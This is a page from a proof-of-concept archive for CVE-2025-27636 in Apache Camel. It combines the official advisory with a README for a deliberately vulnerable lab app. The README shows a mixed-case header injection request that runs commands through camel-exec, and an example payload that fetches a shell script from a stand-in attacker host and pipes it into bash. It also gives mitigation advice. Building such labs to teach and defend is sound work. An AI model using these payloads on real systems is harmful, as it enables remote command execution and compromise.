Associated Vulnerability
Title:Apache Camel: Camel Message Header Injection via Improper Filtering (CVE-2025-27636)Description:Bypass/Injection vulnerability in Apache Camel components under particular conditions. This issue affects Apache Camel: from 4.10.0 through <= 4.10.1, from 4.8.0 through <= 4.8.4, from 3.10.0 through <= 3.22.3. Users are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases. This vulnerability is present in Camel's default incoming header filter, that allows an attacker to include Camel specific headers that for some Camel components can alter the behaviours such as the camel-bean component, to call another method on the bean, than was coded in the application. In the camel-jms component, then a malicious header can be used to send the message to another queue (on the same broker) than was coded in the application. This could also be seen by using the camel-exec component The attacker would need to inject custom headers, such as HTTP protocols. So if you have Camel applications that are directly connected to the internet via HTTP, then an attacker could include malicious HTTP headers in the HTTP requests that are send to the Camel application. All the known Camel HTTP component such as camel-servlet, camel-jetty, camel-undertow, camel-platform-http, and camel-netty-http would be vulnerable out of the box. In these conditions an attacker could be able to forge a Camel header name and make the bean component invoking other methods in the same bean. In terms of usage of the default header filter strategy the list of components using that is: * camel-activemq * camel-activemq6 * camel-amqp * camel-aws2-sqs * camel-azure-servicebus * camel-cxf-rest * camel-cxf-soap * camel-http * camel-jetty * camel-jms * camel-kafka * camel-knative * camel-mail * camel-nats * camel-netty-http * camel-platform-http * camel-rest * camel-sjms * camel-spring-rabbitmq * camel-stomp * camel-tahu * camel-undertow * camel-xmpp The vulnerability arises due to a bug in the default filtering mechanism that only blocks headers starting with "Camel", "camel", or "org.apache.camel.".Β Mitigation:Β You can easily work around this in your Camel applications by removing theΒ headers in your Camel routes. There are many ways of doing this, alsoΒ globally or per route. This means you could use the removeHeaders EIP, to filter out anything like "cAmel, cAMEL" etc, or in general everything not starting with "Camel", "camel" or "org.apache.camel.".
Readme
---
# π‘οΈ CVE-2025-27636 β Practical Exploitation Lab for Apache Camel
## π Overview
**CVE-2025-27636** is a critical **Remote Code Execution (RCE)** vulnerability in **Apache Camel**, specifically in the **`camel-exec`** component. It stems from a subtle but dangerous issue:
> **The `DefaultHeaderFilterStrategy` performs case-sensitive checks on header names, which can be bypassed using alternate casing.**
This means internal Camel headersβsuch as `CamelExecCommandExecutable`βthat should be blocked can slip through if their casing is manipulated (e.g., `cAmeLexecCommandExecutable`).
When this header reaches the `exec:` endpoint, an attacker can **inject arbitrary commands**, leading to full system compromise.
---
## π Technical Background
### β
`DefaultHeaderFilterStrategy`
Apache Camelβs `DefaultHeaderFilterStrategy` is intended to **protect internal headers** like:
- `CamelHttp*`
- `CamelFile*`
- `CamelExecCommandExecutable` β π¨ vulnerable if casing bypasses the filter
π What Does "Internal" Mean?
Internal headers are:
Prefixed with Camel*
Used only within Camel to control behavior (routing, processing, endpoints)
Not intended to be exposed to external systems like HTTP, JMS, etc.
However, prior to the patch, this filter **matched header names case-sensitively**, which violates the HTTP spec (where headers are case-insensitive) and allows bypasses such as:
```http
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
````
This header would be passed through to the `exec:` component, which then executes the payload.
### π οΈ `CamelExecCommandExecutable`
This header tells the `camel-exec` component **which command** to run. Itβs powerfulβand **extremely dangerous**βif user-controllable, especially in environments that support OS-level commands (e.g., `bash`, `cmd.exe`, etc.).
---
## π§ͺ Hands-On Lab: Pinewood Server Diagnostic
**Project**: `Pinewood Server Diagnostic`
**Author**: [@enochgitgamefied](https://github.com/enochgitgamefied)
**Goal**: Reproduce CVE-2025-27636 in a live, educational lab.
---
## π GitHub Repository
π [https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab](https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab)
---
## π Project Overview
* Built with **Apache Camel 4.10.0**
* Routes:
* `/tasks` β Lists tasks using `exec:tasklist` or `exec:ps`
* `/systeminfo` β Outputs OS info (`systeminfo` or `uname -a`)
* `/network` β Shows `ipconfig` or `ifconfig`
* Web UI served on `/` using embedded Jetty
* Vulnerable to modified-case header injection if filtering is not patched
---
## βοΈ Getting Started
```bash
# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
```
Then visit in your browser:
π₯οΈ `http://<your-ip>:8484`
---
## π¨ Demonstrating the Vulnerability
**Unpatched behavior:**
If you send a header like this (notice casing):
```
cAmeLexecCommandExecutable: whoami
```
The filter doesn't block it, and it gets passed to the `exec:` endpoint. You can demonstrate:
* `whoami`
* `uname -a`
* `bash -c "curl http://attacker.com/shell.sh | bash"` β dangerous
---
## π₯ YouTube Demo
A complete demonstration is being prepared and will be uploaded soon. It will walk through:
* Application setup
* Header injection
* Command execution
* Remediation steps
Demo Link on Youtube **https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s**!
---
## π‘οΈ Mitigation & Fix
1. **Upgrade Apache Camel** to a version with **case-insensitive header filtering** (this is patched).
2. Use a **custom `HeaderFilterStrategy`** if you must enforce stricter logic.
3. Do **not** expose `exec:` routes directly to HTTP unless fully locked down.
---
## π§ Key Takeaways
* Internal headers must **never** be controllable by external users.
* **Case sensitivity** in security filters is a well-known anti-pattern.
* Apache Camel is powerful, but with that power comes **responsibility**βespecially when chaining HTTP to `exec`.
---
## β οΈ Disclaimer
This lab is designed for **educational** and **controlled lab** purposes only.
**Never** attempt this on unauthorized systems or networks.
<img width="1279" alt="Apache Camel2" src="https://github.com/user-attachments/assets/e8583cb6-b993-4b37-9ae7-5c8776cf5ae2" />
File Snapshot
[4.0K] /data/pocs/fac7d1c2041abf0c89bcccaee5efa5ee351dc55b
βββ [2.4K] pom.xml
βββ [4.4K] README.md
βββ [4.0K] src
βΒ Β βββ [4.0K] main
βΒ Β βββ [4.0K] java
βΒ Β βΒ Β βββ [4.0K] com
βΒ Β βΒ Β βββ [4.0K] enoch
βΒ Β βΒ Β βββ [4.0K] vulncamel
βΒ Β βΒ Β βββ [4.6K] PinewoodAutoShopCamel.java
βΒ Β βββ [4.0K] resources
βΒ Β βββ [ 936] application.properties
βΒ Β βββ [4.0K] static
βΒ Β βββ [2.8K] index.html
βββ [4.0K] target
βββ [4.0K] classes
βΒ Β βββ [ 612] application.properties
βΒ Β βββ [4.0K] com
βΒ Β βΒ Β βββ [4.0K] enoch
βΒ Β βΒ Β βββ [4.0K] vulncamel
βΒ Β βΒ Β βββ [5.4K] PinewoodAutoShopCamel$1.class
βΒ Β βΒ Β βββ [3.1K] PinewoodAutoShopCamel.class
βΒ Β βββ [4.0K] static
βΒ Β βββ [2.8K] index.html
βββ [ 15M] hello-camel-1.0-SNAPSHOT.jar
βββ [4.0K] maven-archiver
βΒ Β βββ [ 70] pom.properties
βββ [4.0K] maven-status
βΒ Β βββ [4.0K] maven-compiler-plugin
βΒ Β βββ [4.0K] compile
βΒ Β βββ [4.0K] default-compile
βΒ Β βββ [ 98] createdFiles.lst
βΒ Β βββ [ 97] inputFiles.lst
βββ [8.1K] original-hello-camel-1.0-SNAPSHOT.jar
19 directories, 14 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers β if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online β thank you for the support. View subscription plans β